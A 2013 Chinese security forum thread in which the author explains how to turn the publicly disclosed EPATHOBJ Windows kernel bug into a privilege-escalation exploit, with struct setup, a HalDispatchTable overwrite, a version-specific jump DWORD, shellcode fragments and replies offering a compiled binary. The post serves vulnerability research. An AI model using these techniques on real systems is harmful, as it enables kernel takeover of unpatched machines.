首页
社区
课程
招聘
[原创]迟来的6.1礼物 EPATHOBJ 0day exploit
发表于: 2013-6-3 13:18 62871

[原创]迟来的6.1礼物 EPATHOBJ 0day exploit

2013-6-3 13:18
62871
Tavis Ormandy 在做压力测试的时候发现的这个漏洞.

see:
http://blog.cmpxchg8b.com/
http://seclists.org/fulldisclosure/2013/May/118

note:
为了防止某些童鞋用来干坏事和某些原因.把源码删了.. poc 见上面的链接.
感谢kman,原来的shellcode处最后堆栈没有平衡,在Shellcode的最后的ret改成retn 0x10就好了。抄代码需谨慎。。
下面说下利用的思路吧:

1, 首先要确保不蓝屏:
    1) 构造一个新的PATHRECORD, 设置其next指针为NULL, flags为PD_BEGINSUBPATH.
        还要确保MAGIC_DWORD那里可以访问.(MAGIC_DWORD见下面)
      
        ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD; //见下面分析
        ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;//这里是我们要写入地址的值
        ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;//为了跳过内存访问异常的代码
	ExploitRecord.count = 4;//为了跳过内存访问异常所设置

        ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
	ExploitRecordExit->next = NULL;
	ExploitRecordExit->next = NULL;
	ExploitRecordExit->flags = PD_BEGINSUBPATH;
	ExploitRecordExit->count = 0;
       

    2)如何跳到shellcode.
      根据Tavis给的POC,漏洞属于任意地址写,一个指针,指针的前4个字节可控,后4个字节为可预知的.关键是这个4个字节.填什么呢?只有4字节..push 0, ret. 3字节. 这样就可以跳到0地址了,但是这样不好,win7-win8 0地址不叫分配了.所以考虑别的方法,我使用的是KiDebug以前发的利用代码,覆盖的是HalDispatchTable+4这个地址,然后调用NtQueryIntervalProfile来触发,所以,断到HalDispatchTable+4处发现栈上esp+0x60处为我们调用NtQueryIntervalProfile传进来的参数的地址,好了.我们可以使用 jmp [esp+0x60](4字节)刚好,跳到参数地址处,
jmp [esp+0x60]是啥0x602464FF?直接在在可控的4字节填充0x602464FF就好了.测试win7的时候发现KeQueryIntervalProfile变成了寄存器传值了还不是fastcall IDA里叫__usercall,所以,要变成jmp [esp+0x64]

   
DWORD CheckMagicDword()
{
	OSVERSIONINFOEX OSVer;
	DWORD dwMagic = 0;

    OSVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
    if(GetVersionEx((OSVERSIONINFO *)&OSVer)){
		switch(OSVer.dwMajorVersion){
		case 5:
			dwMagic = 0x602464FF;
			break;
		case 6:
			dwMagic = 0x642464FF;
			break;
		default:
			dwMagic = 0;
		}
	}
	return dwMagic;
}

然后这样填充
ExploitRecordExit = (PPATHRECORD)MAGIC_DWORD;
	ExploitRecordExit->next = NULL;
	ExploitRecordExit->next = NULL;
	ExploitRecordExit->flags = PD_BEGINSUBPATH;
	ExploitRecordExit->count = 0;
	

	ExploitRecord.next  = (PPATHRECORD)MAGIC_DWORD;
    ExploitRecord.prev  = (PPATHRECORD)WriteToHalDispatchTable;
    ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
	ExploitRecord.count = 4;
   


   3, 怎么判断exploit是否成功呢?
       我直接在shellcode中修改的是NtQueryIntervalProfile的参数.为一个固定值然后来判断NtQueryIntervalProfile的返回值是不是这个值就好了.
      
      mov eax, [esp+0xc]
      mov DWORD PTR [eax+4], 1
      mov DWORD PTR [eax+8], 0xC0000018
      xor eax, eax


      if (*(PULONG)ShellCode == 0xC0000018){
				bRet = TRUE;
				break;
			}
      


好了差不多了.基本上加上Tavis的poc就完全可以构造出exploit来了.

感谢Tavis Ormandy,以及其提供的poc
最后羡慕Tavis自由的研究环境.

test on win7:

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
  • 1.png (51.11kb,44次下载)
收藏
免费 5
支持
分享
最新回复 (70)
雪    币: 485
活跃值: (78)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
2
thx for share it
2013-6-3 13:33
0
雪    币: 9
活跃值: (41)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
神器啊,系统级0day
2013-6-3 13:50
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
niubility啊
2013-6-3 13:52
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
5
其实GetMagicDword才是神奇的~
2013-6-3 14:01
0
雪    币: 10051
活跃值: (158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
niubility
提权的,mark
2013-6-3 14:05
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
感谢~~~
2013-6-3 14:20
0
雪    币: 19
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
8
niubility啊
2013-6-3 14:21
0
雪    币: 200
活跃值: (32)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
下个测试
2013-6-3 14:33
0
雪    币: 544
活跃值: (264)
能力值: ( LV12,RANK:210 )
在线值:
发帖
回帖
粉丝
10
好熟悉的

    //
    // 把ntoskrnl.exe加载进来
    //
  

    //
    // 计算实际地址
    //
2013-6-3 14:34
0
雪    币: 402
活跃值: (342)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
11
[QUOTE=KiDebug;1184059]好熟悉的

    //
    // 把ntoskrnl.exe加载进来
    //
  

    //
    // 计算实际地址
    //
[/QUOTE]

哈哈..直接抄你的代码..
2013-6-3 14:38
0
雪    币: 402
活跃值: (342)
能力值: ( LV2,RANK:140 )
在线值:
发帖
回帖
粉丝
12
那个函数再vista以上变成了fastcall...
2013-6-3 14:39
0
雪    币: 926
活跃值: (382)
能力值: (RANK:500 )
在线值:
发帖
回帖
粉丝
13
一批windows虚拟主机将要经受腥风血雨。
2013-6-3 14:43
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
14
一点雪域都没有,系统加固直接拦截了HAl那个调用在R3调用,你懂得~
2013-6-3 15:17
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
必须顶呀。
2013-6-3 15:29
0
雪    币: 8
活跃值: (23)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
十分感谢....
2013-6-3 15:35
0
雪    币: 155
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
~~~~~~~~~~~~~
2013-6-3 15:43
0
雪    币: 85
活跃值: (87)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
碉堡了, 然后修改ssdt 接管函数控制权, 然后接管内核?!
附上release版程序:

pathExploit.rar
再次感谢LZ;
上传的附件:
2013-6-3 16:04
0
雪    币: 357
活跃值: (3133)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
19
这漏洞爆出来都半个月了,原作者写的是dos版,不过能写出利用代码还是不错的
2013-6-3 16:13
0
雪    币: 3149
活跃值: (66)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
做测试连这个也能发现?
2013-6-3 16:52
0
雪    币: 22
活跃值: (430)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
21
直接拦截0地址分配~
2013-6-3 17:21
0
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
22
赶紧支持x64位啊 x32有啥玩的
2013-6-3 17:30
0
雪    币: 709
活跃值: (2420)
能力值: ( LV12,RANK:1010 )
在线值:
发帖
回帖
粉丝
23
看了半天没看懂,擦
2013-6-3 18:00
0
雪    币: 29
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
这是做的压力测试么,可以发现个提取洞 强大
2013-6-3 18:10
0
雪    币: 8865
活跃值: (2379)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
25
手下曾经一个小弟授权压力测试某游戏,发现N+M个漏洞,然后这货内心动摇了,然后发财了~


现在压力测试都很强大~
2013-6-3 19:15
0
游客
登录 | 注册 方可回帖
返回
//